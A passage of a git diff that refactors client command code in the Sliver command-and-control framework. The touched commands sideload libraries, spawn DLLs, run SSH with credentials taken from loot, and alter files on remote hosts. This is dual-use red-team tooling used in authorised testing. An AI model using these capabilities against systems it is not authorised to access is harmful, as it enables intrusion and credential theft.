SideloadCmd - Sideload a shared library on the remote system -func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SideloadCmd - Sideload a shared library on the remote system. +func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -75,13 +74,13 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } hostName := getHostname(session, beacon) if sideload.Response != nil && sideload.Response.Async { - con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(sideload.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, sideload) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -90,13 +89,12 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st HandleSideloadResponse(sideload, binPath, hostName, cmd, con) }) - con.PrintAsyncResponse(sideload.Response) } else { HandleSideloadResponse(sideload, binPath, hostName, cmd, con) } } -func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { saveLoot, _ := cmd.Flags().GetBool("loot") lootName, _ := cmd.Flags().GetString("name") diff --git a/client/command/exec/spawndll.go b/client/command/exec/spawndll.go index d522f100b4..55a5f76359 100644 --- a/client/command/exec/spawndll.go +++ b/client/command/exec/spawndll.go @@ -24,17 +24,16 @@ import ( "os" "strings" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// SpawnDllCmd - Spawn execution of a DLL on the remote system -func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SpawnDllCmd - Spawn execution of a DLL on the remote system. +func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -62,7 +61,7 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st Kill: !keepAlive, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } ctrl <- true @@ -70,7 +69,7 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st hostName := getHostname(session, beacon) if spawndll.Response != nil && spawndll.Response.Async { - con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(spawndll.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, spawndll) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -79,13 +78,12 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con) }) - con.PrintAsyncResponse(spawndll.Response) } else { HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con) } } -func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { saveLoot, _ := cmd.Flags().GetBool("loot") lootName, _ := cmd.Flags().GetString("name") diff --git a/client/command/exec/ssh.go b/client/command/exec/ssh.go index f7b8f4dbb9..131fa53396 100644 --- a/client/command/exec/ssh.go +++ b/client/command/exec/ssh.go @@ -32,8 +32,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out) -func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out). +func SSHCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( privKey []byte err error @@ -102,11 +102,11 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if sshCmd.Response != nil && sshCmd.Response.Async { - con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(sshCmd.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, sshCmd) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -114,14 +114,13 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintSSHCmd(sshCmd, con) }) - con.PrintAsyncResponse(sshCmd.Response) } else { PrintSSHCmd(sshCmd, con) } } -// PrintSSHCmd - Print the ssh command response -func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) { +// PrintSSHCmd - Print the ssh command response. +func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverClient) { if sshCmd.Response != nil && sshCmd.Response.Err != "" { con.PrintErrorf("Error: %s\n", sshCmd.Response.Err) if sshCmd.StdErr != "" { @@ -139,7 +138,7 @@ func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) } } -func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) { +func tryCredsFromLoot(con *console.SliverClient) (string, string, []byte) { var ( username string password string diff --git a/client/command/exit/exit.go b/client/command/exit/exit.go index b94e11ee33..e1df08e4cf 100644 --- a/client/command/exit/exit.go +++ b/client/command/exit/exit.go @@ -19,37 +19,22 @@ package exit */ import ( - "context" - "fmt" - "os" + "github.com/spf13/cobra" - "github.com/AlecAivazis/survey/v2" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/constants" ) -// ExitCmd - Exit the console -func ExitCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - fmt.Println("Exiting...") - if con.IsServer { - sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err != nil { - os.Exit(1) - } - beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) - if err != nil { - os.Exit(1) - } - if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) { - con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons)) - confirm := false - prompt := &survey.Confirm{Message: "Are you sure you want to exit?"} - survey.AskOne(prompt, &confirm) - if !confirm { - return - } - } - } - os.Exit(0) +// Commands returns the `exit` command. +func Command(con *console.SliverClient) []*cobra.Command { + return []*cobra.Command{{ + Use: "exit", + Short: "Exit the program", + Annotations: flags.RestrictTargets(constants.ConsoleCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + con.ExitConfirm() + }, + GroupID: constants.GenericHelpGroup, + }} } diff --git a/client/command/extensions/commands.go b/client/command/extensions/commands.go new file mode 100644 index 0000000000..62df2bf6cc --- /dev/null +++ b/client/command/extensions/commands.go @@ -0,0 +1,69 @@ +package extensions + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + extensionCmd := &cobra.Command{ + Use: consts.ExtensionsStr, + Short: "Manage extensions", + Long: help.GetHelpFor([]string{consts.ExtensionsStr}), + GroupID: consts.ExecutionHelpGroup, + Run: func(cmd *cobra.Command, _ []string) { + ExtensionsCmd(cmd, con) + }, + } + + extensionCmd.AddCommand(&cobra.Command{ + Use: consts.ListStr, + Short: "List extensions loaded in the current session or beacon", + Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}), + Run: func(cmd *cobra.Command, args []string) { + ExtensionsListCmd(cmd, con, args) + }, + }) + + extensionLoadCmd := &cobra.Command{ + Use: consts.LoadStr, + Short: "Temporarily load an extension from a local directory", + Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}), + Run: func(cmd *cobra.Command, args []string) { + ExtensionLoadCmd(cmd, con, args) + }, + } + extensionCmd.AddCommand(extensionLoadCmd) + carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory")) + + extensionInstallCmd := &cobra.Command{ + Use: consts.InstallStr, + Short: "Install an extension from a local directory or .tar.gz file", + Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ExtensionsInstallCmd(cmd, con, args) + }, + } + extensionCmd.AddCommand(extensionInstallCmd) + carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory")) + + extensionRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove an installed extension", + Args: cobra.ExactArgs(1), + Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + ExtensionsRemoveCmd(cmd, con, args) + }, + } + extensionCmd.AddCommand(extensionRmCmd) + carapace.Gen(extensionRmCmd).PositionalCompletion(ExtensionsCommandNameCompleter(con).Usage("the command name of the extension to remove")) + + return []*cobra.Command{extensionCmd} +} diff --git a/client/command/extensions/extensions.go b/client/command/extensions/extensions.go index 980386150f..58403abb35 100644 --- a/client/command/extensions/extensions.go +++ b/client/command/extensions/extensions.go @@ -34,8 +34,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// ExtensionsCmd - List information about installed extensions -func ExtensionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient) { +// ExtensionsCmd - List information about installed extensions. +func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) { if 0 < len(getInstalledManifests()) { PrintExtensions(con) } else { @@ -43,10 +43,11 @@ func ExtensionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient) { } } -// PrintExtensions - Print a list of loaded extensions -func PrintExtensions(con *console.SliverConsoleClient) { +// PrintExtensions - Print a list of loaded extensions. +func PrintExtensions(con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", "Command Name", @@ -114,8 +115,8 @@ func getInstalledManifests() map[string]*ExtensionManifest { return installedManifests } -// ExtensionsCommandNameCompleter - Completer for installed extensions command names -func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.Action { +// ExtensionsCommandNameCompleter - Completer for installed extensions command names. +func ExtensionsCommandNameCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { installedManifests := getInstalledManifests() results := []string{} diff --git a/client/command/extensions/install.go b/client/command/extensions/install.go index 66e240f549..e4ba341316 100644 --- a/client/command/extensions/install.go +++ b/client/command/extensions/install.go @@ -31,8 +31,8 @@ import ( "github.com/bishopfox/sliver/util" ) -// ExtensionsInstallCmd - Install an extension -func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExtensionsInstallCmd - Install an extension. +func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { extLocalPath := args[0] fi, err := os.Stat(extLocalPath) @@ -47,8 +47,8 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, } } -// Install an extension from a directory -func installFromDir(extLocalPath string, con *console.SliverConsoleClient) { +// Install an extension from a directory. +func installFromDir(extLocalPath string, con *console.SliverClient) { manifestData, err := os.ReadFile(filepath.Join(extLocalPath, ManifestFileName)) if err != nil { con.PrintErrorf("Error reading %s: %s", ManifestFileName, err) @@ -98,8 +98,8 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) { } } -// InstallFromFilePath - Install an extension from a .tar.gz file -func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string { +// InstallFromFilePath - Install an extension from a .tar.gz file. +func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverClient) *string { manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName)) if err != nil { con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err) @@ -150,7 +150,7 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S return &installPath } -func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error { +func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverClient) error { data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath)) if err != nil { return err diff --git a/client/command/extensions/list.go b/client/command/extensions/list.go index afc479a75c..d08ca41fe0 100644 --- a/client/command/extensions/list.go +++ b/client/command/extensions/list.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ExtensionsListCmd - List all extension loaded on the active session/beacon -func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExtensionsListCmd - List all extension loaded on the active session/beacon. +func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/extensions/load.go b/client/command/extensions/load.go index 72b7d2fd29..45aad1f814 100644 --- a/client/command/extensions/load.go +++ b/client/command/extensions/load.go @@ -49,7 +49,7 @@ import ( const ( defaultTimeout = 60 - // ManifestFileName - Extension manifest file name + // ManifestFileName - Extension manifest file name. ManifestFileName = "extension.json" ) @@ -105,8 +105,8 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta return filePath, nil } -// ExtensionLoadCmd - Load extension command -func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExtensionLoadCmd - Load extension command. +func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { dirPath := args[0] // dirPath := ctx.Args.String("dir-path") extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName)) @@ -123,7 +123,7 @@ func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help) } -// LoadExtensionManifest - Parse extension files +// LoadExtensionManifest - Parse extension files. func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) { data, err := os.ReadFile(manifestPath) if err != nil { @@ -138,7 +138,7 @@ func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) { return extManifest, nil } -// ParseExtensionManifest - Parse extension manifest from buffer +// ParseExtensionManifest - Parse extension manifest from buffer. func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) { extManifest := &ExtensionManifest{} err := json.Unmarshal(data, &extManifest) @@ -174,8 +174,8 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) { return extManifest, nil } -// ExtensionRegisterCommand - Register a new extension command -func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) { +// ExtensionRegisterCommand - Register a new extension command. +func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverClient) { if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil { con.PrintErrorf(errInvalidArgs.Error()) return @@ -210,7 +210,7 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con cmd.AddCommand(extensionCmd) } -func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverClient) error { var extensionList []string binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch) if err != nil { @@ -261,7 +261,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa return nil } -func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverClient) error { registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{ Name: ext.CommandName, Data: binData, @@ -278,7 +278,7 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd return nil } -func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverClient) error { depExt, ok := loadedExtensions[depName] if ok { depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch) @@ -294,7 +294,7 @@ func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con return fmt.Errorf("missing dependency %s", depName) } -func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( err error extensionArgs []byte @@ -374,7 +374,7 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } if callExtResp.Response != nil && callExtResp.Response.Async { - con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(callExtResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, callExtResp) if err != nil { con.PrintErrorf("Failed to decode call ext response %s\n", err) @@ -382,14 +382,13 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintExtOutput(extName, ext.CommandName, callExtResp, con) }) - con.PrintAsyncResponse(callExtResp.Response) } else { PrintExtOutput(extName, ext.CommandName, callExtResp, con) } } -// PrintExtOutput - Print the ext execution output -func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) { +// PrintExtOutput - Print the ext execution output. +func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverClient) { if extName == commandName { con.PrintInfof("Successfully executed %s", extName) } else { @@ -509,7 +508,7 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *Extensio return extensionArgs, nil } -// CmdExists - checks if a command exists +// CmdExists - checks if a command exists. func CmdExists(name string, cmd *cobra.Command) bool { for _, c := range cmd.Commands() { if name == c.Name() { diff --git a/client/command/extensions/remove.go b/client/command/extensions/remove.go index ceadf621c3..14f895fe42 100644 --- a/client/command/extensions/remove.go +++ b/client/command/extensions/remove.go @@ -32,8 +32,8 @@ import ( "github.com/bishopfox/sliver/util" ) -// ExtensionsRemoveCmd - Remove an extension -func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExtensionsRemoveCmd - Remove an extension. +func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := args[0] if name == "" { con.PrintErrorf("Extension name is required\n") @@ -54,8 +54,8 @@ func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } } -// RemoveExtensionByCommandName - Remove an extension by command name -func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error { +// RemoveExtensionByCommandName - Remove an extension by command name. +func RemoveExtensionByCommandName(commandName string, con *console.SliverClient) error { if commandName == "" { return errors.New("command name is required") } diff --git a/client/command/filesystem/cat.go b/client/command/filesystem/cat.go index 5da4c0e730..351b1c0d8b 100644 --- a/client/command/filesystem/cat.go +++ b/client/command/filesystem/cat.go @@ -37,8 +37,8 @@ import ( "github.com/bishopfox/sliver/util/encoders" ) -// CatCmd - Display the contents of a remote file -func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CatCmd - Display the contents of a remote file. +func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -62,11 +62,11 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if download.Response != nil && download.Response.Async { - con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(download.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, download) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -74,14 +74,13 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintCat(download, cmd, con) }) - con.PrintAsyncResponse(download.Response) } else { PrintCat(download, cmd, con) } } -// PrintCat - Print the download to stdout -func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverConsoleClient) { +// PrintCat - Print the download to stdout. +func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverClient) { var ( lootDownload bool = true err error diff --git a/client/command/filesystem/cd.go b/client/command/filesystem/cd.go index 02fcf5ff69..f5e307ced9 100644 --- a/client/command/filesystem/cd.go +++ b/client/command/filesystem/cd.go @@ -21,17 +21,16 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// CdCmd - Change directory on the remote system -func CdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CdCmd - Change directory on the remote system. +func CdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -47,11 +46,11 @@ func CdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Path: filePath, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if pwd.Response != nil && pwd.Response.Async { - con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(pwd.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, pwd) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -59,7 +58,6 @@ func CdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } PrintPwd(pwd, con) }) - con.PrintAsyncResponse(pwd.Response) } else { PrintPwd(pwd, con) } diff --git a/client/command/filesystem/chmod.go b/client/command/filesystem/chmod.go index 083c2feab1..4d086cf419 100644 --- a/client/command/filesystem/chmod.go +++ b/client/command/filesystem/chmod.go @@ -20,17 +20,16 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ChmodCmd - Change the permissions of a file on the remote file system -func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ChmodCmd - Change the permissions of a file on the remote file system. +func ChmodCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -59,11 +58,11 @@ func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin Recursive: recursive, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if chmod.Response != nil && chmod.Response.Async { - con.AddBeaconCallback(chmod.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(chmod.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, chmod) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -71,14 +70,13 @@ func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } PrintChmod(chmod, con) }) - con.PrintAsyncResponse(chmod.Response) } else { PrintChmod(chmod, con) } } -// PrintChmod - Print the chmod response -func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) { +// PrintChmod - Print the chmod response. +func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverClient) { if chmod.Response != nil && chmod.Response.Err != "" { con.PrintErrorf("%s\n", chmod.Response.Err) return diff --git a/client/command/filesystem/chown.go b/client/command/filesystem/chown.go index 1a95be6255..ba941a8a34 100644 --- a/client/command/filesystem/chown.go +++ b/client/command/filesystem/chown.go @@ -20,17 +20,16 @@ package filesystem import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ChownCmd - Change the owner of a file on the remote file system -func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ChownCmd - Change the owner of a file on the remote file system. +func ChownCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -67,11 +66,11 @@ func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin Recursive: recursive, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if chown.Response != nil && chown.Response.Async { - con.AddBeaconCallback(chown.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(chown.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, chown) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -79,14 +78,13 @@ func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } PrintChown(chown, con) }) - con.PrintAsyncResponse(chown.Response) } else { PrintChown(chown, con) } } -// PrintChown - Print the chown response -func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) { +// PrintChown - Print the chown response. +func PrintChown(chown *sliverpb.Chown, con *console.SliverClient) { if chown.Response != nil && chown.Response.Err != "" { con.PrintErrorf("%s\n", chown.Response.Err) return diff --git a/client/command/filesystem/chtimes.go b/client/command/filesystem/chtimes.go index eee6b4f503..562b9fd8ca 100644 --- a/client/command/filesystem/chtimes.go +++ b/client/command/filesystem/chtimes.go @@ -21,17 +21,16 @@ import ( "context" "time" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ChtimesCmd - Change the access and modified time of a file on the remote file system -func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ChtimesCmd - Change the access and modified time of a file on the remote file system. +func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -80,11 +79,11 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str MTime: unixMtime, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if chtimes.Response != nil && chtimes.Response.Async { - con.AddBeaconCallback(chtimes.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(chtimes.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, chtimes) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -92,14 +91,13 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } PrintChtimes(chtimes, con) }) - con.PrintAsyncResponse(chtimes.Response) } else { PrintChtimes(chtimes, con) } } -// PrintChtimes - Print the Chtimes response -func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) { +// PrintChtimes - Print the Chtimes response. +func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverClient) { if chtimes.Response != nil && chtimes.Response.Err != "" { con.PrintErrorf("%s\n", chtimes.Response.Err) return diff --git a/client/command/filesystem/commands.go b/client/command/filesystem/commands.go new file mode 100644 index 0000000000..0159c4982c --- /dev/null +++ b/client/command/filesystem/commands.go @@ -0,0 +1,248 @@ +package filesystem + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/command/loot" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + mvCmd := &cobra.Command{ + Use: consts.MvStr, + Short: "Move or rename a file", + Long: help.GetHelpFor([]string{consts.MvStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + MvCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, mvCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(mvCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to source file (required)"), + carapace.ActionValues().Usage("path to dest file (required)"), + ) + + cpCmd := &cobra.Command{ + Use: consts.CpStr, + Short: "Copy a file", + Long: 